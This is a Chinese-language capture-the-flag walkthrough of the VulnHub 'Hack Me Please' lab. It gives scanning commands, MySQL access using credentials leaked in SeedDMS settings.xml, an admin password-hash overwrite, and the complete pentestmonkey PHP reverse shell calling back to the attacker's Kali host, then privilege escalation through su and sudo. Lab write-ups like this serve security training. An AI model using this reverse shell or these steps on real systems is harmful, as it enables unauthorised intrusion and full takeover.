靶场环境介绍
靶场下载地址:https://download.vulnhub.com/hackmeplease/Hack_Me_Please.rar
kali ip:192.168.10.25
靶机 ip:192.168.10.128
两个主机在同一网卡下使用桥接模式
信息收集
使用arp进行主机存活扫描:
arp-scan -l
扫描到存活主机192.168.10.128
使用nmap进行更详细的扫描:
nmap -sV -p- 192.168.10.128 -O
通过nmap的扫描结果,可以看到该主机开放了80http服务,3306mysql,操作系统可能为Linux
访问该主机开放的http服务:
Wappalyzer信息:
使用dirb对网站进行目录扫描,没有发现可疑的目录
使用dirbuster扫描,发现/js/main.js文件中有网站的目录信息:
访问http://192.168.10.128/seeddms51x/seeddms-5.1.22,发现是一个登录页面:
根据网站左上角可以知道这是一个SeedDMS,php开源的文档管理系统,搜索一下有没有什么可以利用的漏洞:
该版本是5.1.12,但是搜索出来的漏洞都是低于该版本的
使用dirsearch进行目录扫描,扫出两个目录,但是都没啥用:
继续扫描发现的这两个目录:
发现有一个settings.xml
访问http://192.168.10.128/seeddms51x/conf/settings.xml,看不懂是什么东西
查看源代码,发现了数据库的账号和密码:
dbDatabase=“seeddms”
dbUser=“seeddms”
dbPass=“seeddms”
漏洞利用
获得了靶机的数据库账户和密码,尝试登录一下其数据库:
mysql -h 192.168.10.128 -u seeddms -p
成功连接到数据库
列出所有表
show databases;
查看表seeddms:
use seeddms;
show tables;
末尾有一个users表
查看users表
select * from users;
没啥用,先留着
再看一下tblUsers表
select * from tblUsers;
可以看到该表中存储了admin的用户名和密码,不过密码进行了加密
将admin的密码拿去md5进行解密:
解密网站:
https://www.cmd5.com/
没有解密成功
那就只能换个密码了
想一个密码:admin,将admin加密成md5格式:21232f297a57a5a743894a0e4a801fc3,然后替换admin原有的密码:
MySQL [seeddms]> update tblUsers set pwd='21232f297a57a5a743894a0e4a801fc3' where id=1;
Query OK, 1 row affected (0.003 sec)
Rows matched: 1 Changed: 1 Warnings: 0
可以看到密码已经更换成功
使用admin/admin登录SeedDMS,可以成功登录
发现了一个可以上传文件的地方:
做一个php的反弹shell,再用kali进行监听
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.10.25';
$port = 9002;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; sh -i';
$daemon = 0;
$debug = 0;
if (function_exists('pcntl_fork')) {
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
chdir("/");
umask(0);
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>
shell文件命名为:1.php,且需要上传两次(如果不是1.php,会无法连接成功:
记住序列号,后面需要用到
先监听,后反弹,反弹成功(前面不小心把反弹shell的ip地址写错了,所以一直在出错-_-||
http://192.168.10.128/seeddms51x/data/1048576/13/1.php
倒数第二个/里面写的是序列号
提权
使用python获取交互式shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
切换到之前在数据库看到的用户saket
www-data@ubuntu:/$ su saket
su saket
Password: Saket@#$1337
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
saket@ubuntu:/$
成功登录
可以看到该用户的权限很高
直接登录root用户,不需要密码就能直接登录:
sudo su root
提权成功